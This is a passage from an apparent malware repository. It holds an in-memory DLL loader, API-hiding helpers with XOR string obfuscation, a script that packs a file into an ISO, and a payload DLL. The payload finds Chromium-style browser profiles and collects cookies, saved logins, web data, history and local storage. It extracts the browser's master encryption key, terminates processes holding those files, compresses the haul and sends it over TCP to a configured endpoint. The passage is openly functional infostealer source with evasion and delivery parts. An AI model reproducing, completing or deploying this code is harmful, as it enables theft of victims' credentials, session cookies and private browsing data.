945 | PIMAGE_RESOURCE_DIRECTORY_ENTRY foundLanguage;
946 | if (directory->Size == 0) {
947 | SetLastError(ERROR_RESOURCE_DATA_NOT_FOUND);
948 | return NULL;
949 | }
950 |
951 | if (language == DEFAULT_LANGUAGE) {
952 | language = LANGIDFROMLCID(GetThreadLocale());
953 | }
954 |
955 | rootResources =
956 | (PIMAGE_RESOURCE_DIRECTORY)(codeBase + directory->VirtualAddress);
957 | foundType = _MemorySearchResourceEntry(rootResources, rootResources, type);
958 | if (foundType == NULL) {
959 | SetLastError(ERROR_RESOURCE_TYPE_NOT_FOUND);
960 | return NULL;
961 | }
962 |
963 | typeResources =
964 | (PIMAGE_RESOURCE_DIRECTORY)(codeBase + directory->VirtualAddress +
965 | (foundType->OffsetToData & 0x7fffffff));
966 | foundName = _MemorySearchResourceEntry(rootResources, typeResources, name);
967 | if (foundName == NULL) {
968 | SetLastError(ERROR_RESOURCE_NAME_NOT_FOUND);
969 | return NULL;
970 | }
971 |
972 | nameResources =
973 | (PIMAGE_RESOURCE_DIRECTORY)(codeBase + directory->VirtualAddress +
974 | (foundName->OffsetToData & 0x7fffffff));
975 | foundLanguage = _MemorySearchResourceEntry(rootResources, nameResources,
976 | (LPCTSTR)(uintptr_t)language);
977 | if (foundLanguage == NULL) {
978 | if (nameResources->NumberOfIdEntries == 0) {
979 | SetLastError(ERROR_RESOURCE_LANG_NOT_FOUND);
980 | return NULL;
981 | }
982 |
983 | foundLanguage = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(nameResources + 1);
984 | }
985 |
986 | return (codeBase + directory->VirtualAddress +
987 | (foundLanguage->OffsetToData & 0x7fffffff));
988 | }
989 |
990 | DWORD MemorySizeofResource(HMEMORYMODULE module, HMEMORYRSRC resource) {
991 | PIMAGE_RESOURCE_DATA_ENTRY entry;
992 | UNREFERENCED_PARAMETER(module);
993 | entry = (PIMAGE_RESOURCE_DATA_ENTRY)resource;
994 | if (entry == NULL) {
995 | return 0;
996 | }
997 |
998 | return entry->Size;
999 | }
1000 |
1001 | LPVOID MemoryLoadResource(HMEMORYMODULE module, HMEMORYRSRC resource) {
1002 | unsigned char *codeBase = ((PMEMORYMODULE)module)->codeBase;
1003 | PIMAGE_RESOURCE_DATA_ENTRY entry = (PIMAGE_RESOURCE_DATA_ENTRY)resource;
1004 | if (entry == NULL) {
1005 | return NULL;
1006 | }
1007 |
1008 | return codeBase + entry->OffsetToData;
1009 | }
1010 |
1011 | int MemoryLoadString(HMEMORYMODULE module, UINT id, LPTSTR buffer,
1012 | int maxsize) {
1013 | return MemoryLoadStringEx(module, id, buffer, maxsize, DEFAULT_LANGUAGE);
1014 | }
1015 |
1016 | int MemoryLoadStringEx(HMEMORYMODULE module, UINT id, LPTSTR buffer,
1017 | int maxsize, WORD language) {
1018 | HMEMORYRSRC resource;
1019 | PIMAGE_RESOURCE_DIR_STRING_U data;
1020 | DWORD size;
1021 | if (maxsize == 0) {
1022 | return 0;
1023 | }
1024 |
1025 | resource = MemoryFindResourceEx(module, MAKEINTRESOURCE((id >> 4) + 1),
1026 | RT_STRING, language);
1027 | if (resource == NULL) {
1028 | buffer[0] = 0;
1029 | return 0;
1030 | }
1031 |
1032 | data = (PIMAGE_RESOURCE_DIR_STRING_U)MemoryLoadResource(module, resource);
1033 | id = id & 0x0f;
1034 | while (id--) {
1035 | data = (PIMAGE_RESOURCE_DIR_STRING_U)OffsetPointer(
1036 | data, (data->Length + 1) * sizeof(WCHAR));
1037 | }
1038 | if (data->Length == 0) {
1039 | SetLastError(ERROR_RESOURCE_NAME_NOT_FOUND);
1040 | buffer[0] = 0;
1041 | return 0;
1042 | }
1043 |
1044 | size = data->Length;
1045 | if (size >= (DWORD)maxsize) {
1046 | size = maxsize;
1047 | } else {
1048 | buffer[size] = 0;
1049 | }
1050 | #if defined(UNICODE)
1051 | wcsncpy(buffer, data->NameString, size);
1052 | #else
1053 | wcstombs(buffer, data->NameString, size);
1054 | #endif
1055 | return size;
1056 | }
1057 |
--------------------------------------------------------------------------------
/loader/mem/memod.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #define _CRT_SECURE_NO_WARNINGS
4 |
5 | #include
6 |
7 | typedef LPVOID HMEMORYMODULE;
8 | typedef LPVOID HMEMORYRSRC;
9 | typedef LPVOID HCUSTOMMODULE;
10 |
11 |
12 | typedef LPVOID (*CustomAllocFunc)(LPVOID, SIZE_T, DWORD, DWORD, void*);
13 | typedef BOOL (*CustomFreeFunc)(LPVOID, SIZE_T, DWORD, void*);
14 | typedef HCUSTOMMODULE (*CustomLoadLibraryFunc)(LPCSTR, void*);
15 | typedef FARPROC (*CustomGetProcAddressFunc)(HCUSTOMMODULE, LPCSTR, void*);
16 | typedef void (*CustomFreeLibraryFunc)(HCUSTOMMODULE, void*);
17 |
18 | HMEMORYMODULE MemoryLoadLibrary(const void*, size_t);
19 | HMEMORYMODULE MemoryLoadLibraryEx(const void*, size_t, CustomAllocFunc,
20 | CustomFreeFunc, CustomLoadLibraryFunc,
21 | CustomGetProcAddressFunc,
22 | CustomFreeLibraryFunc, void*);
23 |
24 | HMEMORYRSRC MemoryFindResource(HMEMORYMODULE, LPCTSTR, LPCTSTR);
25 | HMEMORYRSRC MemoryFindResourceEx(HMEMORYMODULE, LPCTSTR, LPCTSTR, WORD);
26 |
27 | FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR);
28 | DWORD MemorySizeofResource(HMEMORYMODULE, HMEMORYRSRC);
29 | LPVOID MemoryLoadResource(HMEMORYMODULE, HMEMORYRSRC);
30 |
31 | void MemoryFreeLibrary(HMEMORYMODULE);
32 |
33 | int MemoryCallEntryPoint(HMEMORYMODULE);
34 | int MemoryLoadString(HMEMORYMODULE, UINT, LPTSTR, int);
35 | int MemoryLoadStringEx(HMEMORYMODULE, UINT, LPTSTR, int, WORD);
36 |
37 |
--------------------------------------------------------------------------------
/loader/utils.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include
4 |
5 |
6 | typedef LPVOID HINTERNET;
7 | #define INTERNET_OPEN_TYPE_DIRECT 1
8 | #define INTERNET_FLAG_RELOAD 0x80000000
9 |
10 | static void DecodeXor(char* in, size_t len, char key) {
11 |
12 | for (size_t i = 0; i < len; i++)
13 | {
14 | in[i] ^= key;
15 | }
16 | }
17 |
18 | #if 1
19 | #define HLoadLibrary LoadLibraryA
20 | #else
21 | static const char* str_kernel32 =
22 | DecodeXor({0x2a, 0x24, 0x33, 0x2f, 0x24, 0x2d, 0x72, 0x73, 0x6f, 0x25, 0x2d,
23 | 0x2d, 0x00},
24 | 'A')
25 | .data();
26 | static const char* str_loadlibrary =
27 | DecodeXor({0x0d, 0x2e, 0x20, 0x25, 0x0d, 0x28, 0x23, 0x33, 0x20, 0x33, 0x38,
28 | 0x00},
29 | 'A')
30 | .data();
31 |
32 | static HMODULE HideLoadLibrary(LPCSTR lpModuleName) {
33 | HMODULE hModule = GetModuleHandleA(str_kernel32);
34 | return ((HMODULE(*)(LPCSTR))GetProcAddress(hModule, str_loadlibrary))(
35 | lpModuleName);
36 | }
37 | #define HLoadLibrary HideLoadLibrary
38 | #endif
39 |
40 | #define HIDE_FUNCTION(modName, funcName, funcRet, funcSignV, funcSign, \
41 | funcParam, funcErr) \
42 | static funcRet hide_##funcName funcSignV { \
43 | HMODULE hModule = GetModuleHandleA(modName); \
44 | if (hModule == NULL) hModule = HLoadLibrary(modName); \
45 | if (hModule == NULL) return funcErr; \
46 | return ((funcRet(*) funcSign)GetProcAddress(hModule, #funcName))funcParam; \
47 | }
48 |
49 | HIDE_FUNCTION("kernel32.dll", VirtualProtect, BOOL,
50 | (LPVOID l, SIZE_T s, DWORD d, PDWORD pd),
51 | (LPVOID, SIZE_T, DWORD, PDWORD), (l, s, d, pd), FALSE)
52 | HIDE_FUNCTION("kernel32.dll", VirtualAlloc, LPVOID,
53 | (LPVOID l, SIZE_T s, DWORD d0, DWORD d1),
54 | (LPVOID, SIZE_T, DWORD, DWORD), (l, s, d0, d1), NULL);
55 | HIDE_FUNCTION("kernel32.dll", VirtualFree, BOOL, (LPVOID l, SIZE_T s, DWORD d),
56 | (LPVOID, SIZE_T, DWORD), (l, s, d), FALSE);
57 |
58 | HIDE_FUNCTION("wininet.dll", InternetOpenA, HINTERNET,
59 | (LPCSTR l0, DWORD d0, LPCSTR l1, LPCSTR l2, DWORD d1),
60 | (LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD), (l0, d0, l1, l2, d1),
61 | NULL);
62 | HIDE_FUNCTION("wininet.dll", InternetCloseHandle, BOOL, (HINTERNET h),
63 | (HINTERNET), (h), FALSE);
64 | HIDE_FUNCTION("wininet.dll", InternetReadFile, BOOL,
65 | (HINTERNET h, LPVOID l, DWORD d0, LPDWORD d1),
66 | (HINTERNET, LPVOID, DWORD, LPDWORD), (h, l, d0, d1), FALSE);
67 | HIDE_FUNCTION("wininet.dll", InternetOpenUrlA, HINTERNET,
68 | (HINTERNET h, LPCSTR l0, LPCSTR l1, DWORD d0, DWORD d1,
69 | DWORD_PTR dp),
70 | (HINTERNET, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR),
71 | (h, l0, l1, d0, d1, dp), NULL);
72 |
--------------------------------------------------------------------------------
/packer.py:
--------------------------------------------------------------------------------
1 | import os
2 | import sys
3 | import pycdlib
4 |
5 |
6 |
7 | def main(args: list[str]) -> int:
8 | if len(args) < 1:
9 | print(args)
10 | return 1
11 |
12 | inpath = args[0]
13 | filename = os.path.basename(inpath)
14 |
15 | if not os.path.exists(inpath):
16 | print("no found")
17 | return 1
18 |
19 | outpath = os.path.dirname(inpath) + "\\pADR.iso"
20 | print(f"{inpath} => {outpath}")
21 |
22 | iso = pycdlib.PyCdlib()
23 | iso.new(joliet=3)
24 |
25 | try:
26 | iso.add_file(inpath, joliet_path=f'/{filename};1')
27 | iso.write(outpath)
28 | except Exception as e:
29 | print(e)
30 | return 1
31 | iso.close()
32 | return 0
33 |
34 | if __name__ == "__main__":
35 | sys.exit(main(sys.argv[1:]))
--------------------------------------------------------------------------------
/payload/b64/b64.c:
--------------------------------------------------------------------------------
1 | #include "b64.h"
2 |
3 | char* Base64Encode(const char* data, size_t input_length) {
4 | size_t output_length = 4 * ((input_length + 2) / 3);
5 | char* encoded_data = (char*)malloc(output_length + 1);
6 | if (!encoded_data) return NULL;
7 |
8 | size_t i, j;
9 | for (i = 0, j = 0; i < input_length;) {
10 | unsigned __int32 octet_a = i < input_length ? data[i++] : 0;
11 | unsigned __int32 octet_b = i < input_length ? data[i++] : 0;
12 | unsigned __int32 octet_c = i < input_length ? data[i++] : 0;
13 |
14 | unsigned __int32 triple = (octet_a << 16) | (octet_b << 8) | octet_c;
15 |
16 | encoded_data[j++] = base64_chars[(triple >> 18) & 0x3F];
17 | encoded_data[j++] = base64_chars[(triple >> 12) & 0x3F];
18 | encoded_data[j++] = base64_chars[(triple >> 6) & 0x3F];
19 | encoded_data[j++] = base64_chars[triple & 0x3F];
20 | }
21 |
22 | while (j > output_length) {
23 | encoded_data[--j] = '=';
24 | }
25 |
26 | encoded_data[output_length] = '\0';
27 | return encoded_data;
28 | }
29 |
30 | char* Base64Decode(const char* data, size_t input_length, size_t* output_length) {
31 | if (input_length % 4 != 0) return NULL;
32 |
33 | *output_length = (input_length / 4) * 3;
34 | if (data[input_length - 1] == '=') (*output_length)--;
35 | if (data[input_length - 2] == '=') (*output_length)--;
36 |
37 | char* decoded_data = (char*)malloc(*output_length);
38 | if (!decoded_data) return NULL;
39 |
40 | size_t i, j;
41 | for (i = 0, j = 0; i < input_length;) {
42 | unsigned __int32 sextet_a = data[i] == '=' ? 0 & i++ : base64_chars[(size_t)data[i++]];
43 | unsigned __int32 sextet_b = data[i] == '=' ? 0 & i++ : base64_chars[(size_t)data[i++]];
44 | unsigned __int32 sextet_c = data[i] == '=' ? 0 & i++ : base64_chars[(size_t)data[i++]];
45 | unsigned __int32 sextet_d = data[i] == '=' ? 0 & i++ : base64_chars[(size_t)data[i++]];
46 |
47 | unsigned __int32 triple = (sextet_a << 18) | (sextet_b << 12) | (sextet_c << 6) | sextet_d;
48 |
49 | if (j < *output_length) decoded_data[j++] = (triple >> 16) & 0xFF;
50 | if (j < *output_length) decoded_data[j++] = (triple >> 8) & 0xFF;
51 | if (j < *output_length) decoded_data[j++] = triple & 0xFF;
52 | }
53 |
54 | return decoded_data;
55 | }
--------------------------------------------------------------------------------
/payload/b64/b64.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "../stdafx.h"
3 |
4 | static const char base64_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
5 |
6 | char* Base64Encode(const char* data, size_t input_length);
7 | char* Base64Decode(const char* data, size_t input_length, size_t* output_length);
--------------------------------------------------------------------------------
/payload/ffs/linear.c:
--------------------------------------------------------------------------------
1 | #include "linear.h"
2 |
3 | FFSearch* FFCreateResult()
4 | {
5 | FFSearch* ffs = malloc(sizeof(FFSearch));
6 | NULL_RET(ffs, NULL);
7 |
8 | ffs->elements = NULL;
9 | ffs->len = 0;
10 | return ffs;
11 | }
12 |
13 | void FFSearchLinearDir(const char* path, const char* search, FFSearch* out)
14 | {
15 | char* search_path = (char*)malloc(strlen(path) + 3);
16 | NULL_RET(search_path, );
17 |
18 | strcpy(search_path, path);
19 | strcat(search_path, "\\*");
20 |
21 |
22 | WIN32_FIND_DATAA findData;
23 | HANDLE findHandle = FindFirstFileA(search_path, &findData);
24 | if (findHandle == INVALID_HANDLE_VALUE)
25 | {
26 | free(search_path);
27 | return;
28 | }
29 |
30 | do {
31 | if (!IsValidDirectory(findData)) continue;
32 |
33 | char* dirpath = malloc(MAX_PATH);
34 | if (dirpath == NULL) continue;
35 |
36 | if (!PathCombineA(dirpath, path, findData.cFileName))
37 | {
38 | free(dirpath);
39 | continue;
40 | }
41 |
42 | if (!strcmp(findData.cFileName, search))
43 | {
44 |
45 | out->elements = (char**)realloc(out->elements, (out->len + 1) * sizeof(char*));
46 | if (out->elements == NULL)
47 | {
48 | free(dirpath);
49 | break;
50 | }
51 | out->elements[out->len] = dirpath;
52 | out->len++;
53 | }
54 | else
55 | {
56 | FFSearchLinearDir(dirpath, search, out);
57 | free(dirpath);
58 | }
59 |
60 | } while (FindNextFileA(findHandle, &findData));
61 |
62 | free(search_path);
63 | FindClose(findHandle);
64 | }
65 |
66 | void FFDestroyResult(FFSearch* ffs)
67 | {
68 | for (size_t i = 0; i < ffs->len; i++)
69 | {
70 | free(ffs->elements[i]);
71 | }
72 |
73 | free(ffs->elements);
74 | free(ffs);
75 | }
76 |
77 |
--------------------------------------------------------------------------------
/payload/ffs/linear.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "../stdafx.h"
3 | #include "../utils.h"
4 |
5 | typedef struct FFSearch
6 | {
7 | char** elements;
8 | size_t len;
9 | } FFSearch;
10 |
11 |
12 | FFSearch* FFCreateResult();
13 | void FFSearchLinearDir(const char* path, const char* search, FFSearch* out);
14 | void FFDestroyResult(FFSearch*);
--------------------------------------------------------------------------------
/payload/main.c:
--------------------------------------------------------------------------------
1 | #include "stdafx.h"
2 | #include "utils.h"
3 |
4 | #include "ffs/linear.h"
5 | #include "b64/b64.h"
6 | #include "pack/pack.h"
7 |
8 |
9 | #ifdef _DEBUG_EXE
10 | #define DLL_EXPORT
11 | #else
12 | #define DLL_EXPORT __declspec(dllexport)
13 | #endif
14 |
15 | #define ENDPOINT_HOST "127.0.0.1"
16 | #define ENDPOINT_PORT 12345
17 |
18 | #define TARGET_NAMES_COUNT 6
19 | #define TARGET_EXT_COUNT 2
20 |
21 |
22 | DLL_EXPORT int CALLBACK main()
23 | {
24 | char* target = GetWinFolderById(&FOLDERID_LocalAppData);
25 | NULL_RET(target, EXIT_FAILURE);
26 |
27 | PathRemoveFileSpecA(target);
28 |
29 |
30 | FFSearch* results = FFCreateResult();
31 | NULL_RET(results, EXIT_FAILURE);
32 |
33 | FFSearchLinearDir(target, "blob_storage", results, results);
34 | free(target);
35 |
36 | Pack* pack = PackCreate();
37 | if (!pack)
38 | {
39 | FFDestroyResult(results);
40 | return EXIT_FAILURE;
41 | }
42 |
43 |
44 | const char* tnames[TARGET_NAMES_COUNT] = {
45 | "Network\\Cookies",
46 | "History",
47 | "Web Data",
48 | "Login Data",
49 | "Local State",
50 | "..\\Local State"
51 | };
52 |
53 | const char* textensions[TARGET_EXT_COUNT] = {
54 | ".ldb",
55 | ".log"
56 | };
57 |
58 | for (size_t i = 0; i < results->len; i++)
59 | {
60 | char* base = results->elements[i];
61 | PathRemoveFileSpecA(base);
62 |
63 | PackTargetFiles(pack, base, tnames, TARGET_NAMES_COUNT);
64 |
65 | char leveldb[MAX_PATH];
66 | if (PathCombineA(leveldb, base, "Local Storage\\leveldb\\"))
67 | {
68 | if (!PathIsDirectoryEmptyA(leveldb))
69 | {
70 | PackDirectoryFiles(pack, leveldb, textensions, TARGET_EXT_COUNT);
71 | }
72 | }
73 |
74 | char localstate[MAX_PATH];
75 | if (PathCombineA(localstate, base, "Local State"))
76 | {
77 | if (PathFileExistsA(localstate))
78 | {
79 | char* raw_key = GetEncryptionKeyString(localstate);
80 | char* master_key = ExtractEncyrptionKey(raw_key);
81 |
82 | if (master_key)
83 | {
84 | char localstate_key[MAX_PATH];
85 | PathCombineA(localstate_key, base, "Key");
86 | PackWriteBuffer(pack, localstate_key, master_key, strlen(master_key) + 1);
87 | }
88 |
89 | SAFE_FREE(master_key);
90 | SAFE_FREE(raw_key);
91 | }
92 | }
93 | }
94 |
95 | FFDestroyResult(results);
96 |
97 | PackCompress(&pack);
98 |
99 | PackSend(pack, ENDPOINT_HOST, ENDPOINT_PORT);
100 |
101 | PackDestroy(pack);
102 |
103 | return EXIT_SUCCESS;
104 | }
105 |
106 |
107 | #ifdef _DEBUG_EXE
108 | int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ char* pCmdLine, _In_ int nCmdShow)
109 | {
110 | _CrtSetDbgFlag(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_LEAK_CHECK_DF);
111 |
112 | if (AllocConsole())
113 | {
114 | FILE* fDummy;
115 |
116 | freopen_s(&fDummy, "CONOUT$", "w", stdout);
117 | freopen_s(&fDummy, "CONOUT$", "w", stderr);
118 | freopen_s(&fDummy, "CONIN$", "r", stdin);
119 |
120 | clearerr(stdout);
121 | clearerr(stderr);
122 | clearerr(stdin);
123 | }
124 |
125 | main();
126 |
127 | _CrtDumpMemoryLeaks();
128 | return EXIT_SUCCESS;
129 | }
130 | #else
131 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
132 | {
133 | return TRUE;
134 | }
135 | #endif // _DEBUG_EXE
--------------------------------------------------------------------------------
/payload/pack/pack.c:
--------------------------------------------------------------------------------
1 | #include "pack.h"
2 |
3 | Pack* PackCreate()
4 | {
5 | Pack* pack = malloc(sizeof(Pack));
6 | NULL_RET(pack, NULL);
7 |
8 | pack->file = INVALID_HANDLE_VALUE;
9 | pack->path = malloc(MAX_PATH);
10 | NULL_RET(pack->path, NULL);
11 |
12 | char tempPath[MAX_PATH];
13 | if (GetTempPathA(MAX_PATH, tempPath) == 0) return NULL;
14 | if (GetTempFileNameA(tempPath, "pack", 0, pack->path) == 0) return NULL;
15 |
16 | pack->file = CreateFileA(pack->path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); \
17 | PACK_HANDLE_RESET(pack);
18 |
19 | return pack;
20 | }
21 |
22 | bool PackCompress(Pack** in)
23 | {
24 | PACK_HANDLE_RESET((*in));
25 | PACK_HANDLE_CHECK((*in), GENERIC_READ, FILE_SHARE_READ, false);
26 |
27 | LARGE_INTEGER file_size;
28 | if (!GetFileSizeEx((*in)->file, &file_size))
29 | {
30 | PACK_HANDLE_RESET((*in));
31 | return false;
32 | }
33 |
34 | size_t in_size = file_size.QuadPart;
35 | BYTE* in_buffer = malloc(in_size);
36 | if (!in_buffer)
37 | {
38 | PACK_HANDLE_RESET((*in));
39 | return false;
40 | }
41 |
42 | DWORD bytes_read = 0;
43 | if (!ReadFile((*in)->file, in_buffer, in_size, &bytes_read, NULL))
44 | {
45 | free(in_buffer);
46 | PACK_HANDLE_RESET((*in));
47 | return false;
48 | }
49 |
50 | if (bytes_read != in_size)
51 | {
52 | free(in_buffer);
53 | PACK_HANDLE_RESET((*in));
54 | return false;
55 | }
56 |
57 | COMPRESSOR_HANDLE hCompressor = NULL;
58 | if (!CreateCompressor(COMPRESS_ALGORITHM_XPRESS_HUFF, NULL, &hCompressor))
59 | {
60 | free(in_buffer);
61 | PACK_HANDLE_RESET((*in));
62 | return false;
63 | }
64 |
65 |
66 | size_t new_out_size = 0;
67 | size_t out_size = file_size.QuadPart;
68 | BYTE* out_buffer = malloc(out_size);
69 |
70 | if (!out_buffer)
71 | {
72 | free(in_buffer);
73 | CloseCompressor(hCompressor);
74 | PACK_HANDLE_RESET((*in));
75 | return false;
76 | }
77 |
78 | if (!Compress(hCompressor, in_buffer, file_size.QuadPart, out_buffer, out_size, &new_out_size))
79 | {
80 | free(out_buffer);
81 | free(in_buffer);
82 | CloseCompressor(hCompressor);
83 | PACK_HANDLE_RESET((*in));
84 | return false;
85 | }
86 |
87 | out_buffer = realloc(out_buffer, new_out_size);
88 | free(in_buffer);
89 | CloseCompressor(hCompressor);
90 |
91 | Pack* out = PackCreate();
92 | if (!out)
93 | {
94 | free(out_buffer);
95 | PACK_HANDLE_RESET((*in));
96 | return false;
97 | }
98 |
99 | out->file = CreateFileA(out->path, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
100 | if (out->file == INVALID_HANDLE_VALUE)
101 | {
102 | free(out_buffer);
103 | PACK_HANDLE_RESET((*in));
104 | return false;
105 | }
106 |
107 | DWORD bytes_written = 0;
108 | if (!WriteFile(out->file, out_buffer, new_out_size, &bytes_written, NULL))
109 | {
110 | free(out_buffer);
111 | PackDestroy(out);
112 | PACK_HANDLE_RESET((*in));
113 | return false;
114 | }
115 |
116 | if (bytes_written != new_out_size)
117 | {
118 | free(out_buffer);
119 | PackDestroy(out);
120 | PACK_HANDLE_RESET((*in));
121 | return false;
122 | }
123 |
124 | free(out_buffer);
125 | PackDestroy((*in));
126 |
127 | *in = out;
128 | PACK_HANDLE_RESET((*in));
129 |
130 | return true;
131 | }
132 |
133 | bool PackWriteFile(Pack* pack, const char* path)
134 | {
135 | PACK_HANDLE_RESET(pack);
136 | PACK_HANDLE_CHECK(pack, FILE_APPEND_DATA, 0, false);
137 |
138 | if (IsFileBusy(path))
139 | {
140 | if (!TerminateBusyFileProc(path))
141 | {
142 | PACK_HANDLE_RESET(pack);
143 | return false;
144 | }
145 | }
146 |
147 | HANDLE hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
148 | if (hFile == INVALID_HANDLE_VALUE)
149 | {
150 | PACK_HANDLE_RESET(pack);
151 | return false;
152 | }
153 |
154 | if (!WriteFile(pack->file, path, strlen(path) + 1, NULL, NULL))
155 | {
156 | CloseHandle(hFile);
157 | PACK_HANDLE_RESET(pack);
158 | return false;
159 | }
160 |
161 | LARGE_INTEGER lgint;
162 | if (!GetFileSizeEx(hFile, &lgint))
163 | {
164 | CloseHandle(hFile);
165 | PACK_HANDLE_RESET(pack);
166 | return false;
167 | }
168 |
169 | size_t file_size = lgint.QuadPart;
170 | if (!WriteFile(pack->file, &file_size, sizeof(size_t), NULL, NULL))
171 | {
172 | CloseHandle(hFile);
173 | PACK_HANDLE_RESET(pack);
174 | return false;
175 | }
176 |
177 | BYTE buffer[BUFFER_SIZE];
178 | DWORD bytes_read = 0;
179 |
180 | while (ReadFile(hFile, buffer, sizeof(buffer), &bytes_read, NULL) && bytes_read > 0)
181 | {
182 | DWORD bytes_written = 0;
183 | if (!WriteFile(pack->file, buffer, bytes_read, &bytes_written, NULL) || bytes_written != bytes_read)
184 | {
185 | CloseHandle(hFile);
186 | PACK_HANDLE_RESET(pack);
187 | return false;
188 | }
189 | }
190 |
191 | CloseHandle(hFile);
192 | PACK_HANDLE_RESET(pack);
193 | return true;
194 | }
195 |
196 | bool PackWriteBuffer(Pack* pack, const char* name, const char* buffer, size_t len)
197 | {
198 | PACK_HANDLE_RESET(pack);
199 | PACK_HANDLE_CHECK(pack, FILE_APPEND_DATA, 0, false);
200 |
201 | DWORD out_size = (DWORD)strlen(name) + 1;
202 | if (!WriteFile(pack->file, name, out_size, NULL, NULL))
203 | {
204 | PACK_HANDLE_RESET(pack);
205 | return false;
206 | }
207 |
208 | if (!WriteFile(pack->file, &len, sizeof(LONGLONG), NULL, NULL))
209 | {
210 | PACK_HANDLE_RESET(pack);
211 | return false;
212 | }
213 |
214 |
215 | DWORD bytes_written;
216 | if (!WriteFile(pack->file, buffer, len, &bytes_written, NULL) || bytes_written != len)
217 | {
218 | PACK_HANDLE_RESET(pack);
219 | return false;
220 | }
221 |
222 | PACK_HANDLE_RESET(pack);
223 | return true;
224 | }
225 |
226 | void PackDestroy(Pack* pack)
227 | {
228 | NULL_RET(pack, );
229 |
230 | PACK_HANDLE_RESET(pack);
231 |
232 | if (PathFileExistsA(pack->path))
233 | {
234 | DeleteFileA(pack->path);
235 | free(pack->path);
236 | }
237 | free(pack);
238 | }
239 |
240 | bool PackSend(Pack* pack, const char* host, unsigned short port)
241 | {
242 | PACK_HANDLE_RESET(pack);
243 | PACK_HANDLE_CHECK(pack, GENERIC_READ, FILE_SHARE_READ, false);
244 |
245 | WSADATA wsaData;
246 | if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
247 | {
248 | PACK_HANDLE_RESET(pack);
249 | return false;
250 | }
251 |
252 | SOCKET client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
253 | if (client == INVALID_SOCKET)
254 | {
255 | WSACleanup();
256 | PACK_HANDLE_RESET(pack);
257 | return false;
258 | }
259 |
260 | struct sockaddr_in client_addr;
261 | ZeroMemory(&client_addr, sizeof(client_addr));
262 | client_addr.sin_family = AF_INET;
263 | client_addr.sin_port = htons(port);
264 | inet_pton(AF_INET, host, &client_addr.sin_addr);
265 |
266 | if (connect(client, (struct sockaddr*)&client_addr, sizeof(client_addr)) == SOCKET_ERROR)
267 | {
268 | closesocket(client);
269 | WSACleanup();
270 | PACK_HANDLE_RESET(pack);
271 | return false;
272 | }
273 |
274 | char buffer[BUFFER_SIZE];
275 | DWORD bytesRead;
276 | while (ReadFile(pack->file, buffer, sizeof(buffer), &bytesRead, NULL) && bytesRead > 0)
277 | {
278 | if (send(client, buffer, bytesRead, 0) == SOCKET_ERROR)
279 | {
280 | closesocket(client);
281 | WSACleanup();
282 | PACK_HANDLE_RESET(pack);
283 | return false;
284 | }
285 | }
286 |
287 | closesocket(client);
288 | WSACleanup();
289 | PACK_HANDLE_RESET(pack);
290 | return true;
291 | }
292 |
293 | void PackTargetFiles(Pack* pack, char* base, char** targets, size_t len)
294 | {
295 | for (size_t k = 0; k < len; k++)
296 | {
297 | char inpath[MAX_PATH];
298 | if (!PathCombineA(inpath, base, targets[k])) continue;
299 | if (!PathFileExistsA(inpath)) continue;
300 |
301 | PackWriteFile(pack, inpath);
302 | }
303 | }
304 |
305 | void PackDirectoryFiles(Pack* pack, char* dirpath, char** extensions, size_t len)
306 | {
307 | char* search_path = (char*)malloc(strlen(dirpath) + 3);
308 | NULL_RET(search_path, );
309 |
310 | strcpy(search_path, dirpath);
311 | strcat(search_path, "\\*");
312 |
313 | WIN32_FIND_DATAA findData;
314 | HANDLE hFind = FindFirstFileA(search_path, &findData);
315 |
316 | if (hFind == INVALID_HANDLE_VALUE)
317 | {
318 | free(search_path);
319 | return;
320 | }
321 |
322 | do
323 | {
324 | if (!(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
325 | {
326 | char* ext = PathFindExtensionA(findData.cFileName);
327 | for (size_t i = 0; i < len; i++)
328 | {
329 | if (strcmp(ext, extensions[i]) == 0)
330 | {
331 | char file_path[MAX_PATH];
332 | PathCombineA(file_path, dirpath, findData.cFileName);
333 | PackWriteFile(pack, file_path);
334 | break;
335 | }
336 | }
337 | }
338 | } while (FindNextFileA(hFind, &findData) != 0);
339 |
340 | free(search_path);
341 | FindClose(hFind);
342 | }
343 |
--------------------------------------------------------------------------------
/payload/pack/pack.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "../stdafx.h"
3 | #include "../utils.h"
4 |
5 | typedef struct Pack {
6 | char* path;
7 | HANDLE file;
8 | }Pack;
9 |
10 | #define PACK_HANDLE_CHECK(pack, access, mode, ret)\
11 | if (pack->file == INVALID_HANDLE_VALUE)\
12 | {\
13 | pack->file = CreateFileA(pack->path, access, mode, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\
14 | if (pack->file == INVALID_HANDLE_VALUE) return ret;\
15 | }
16 |
17 | #define PACK_HANDLE_RESET(pack)\
18 | if(pack->file != INVALID_HANDLE_VALUE)\
19 | {\
20 | CloseHandle(pack->file);\
21 | pack->file = INVALID_HANDLE_VALUE;\
22 | }
23 |
24 |
25 |
26 | Pack* PackCreate();
27 | void PackDestroy(Pack* pack);
28 |
29 | bool PackCompress(Pack** in);
30 | bool PackWriteFile(Pack* pack, const char* path);
31 | bool PackWriteBuffer(Pack* pack, const char* name, const char* buffer, size_t len);
32 | bool PackSend(Pack* pack, const char* host, unsigned short port);
33 |
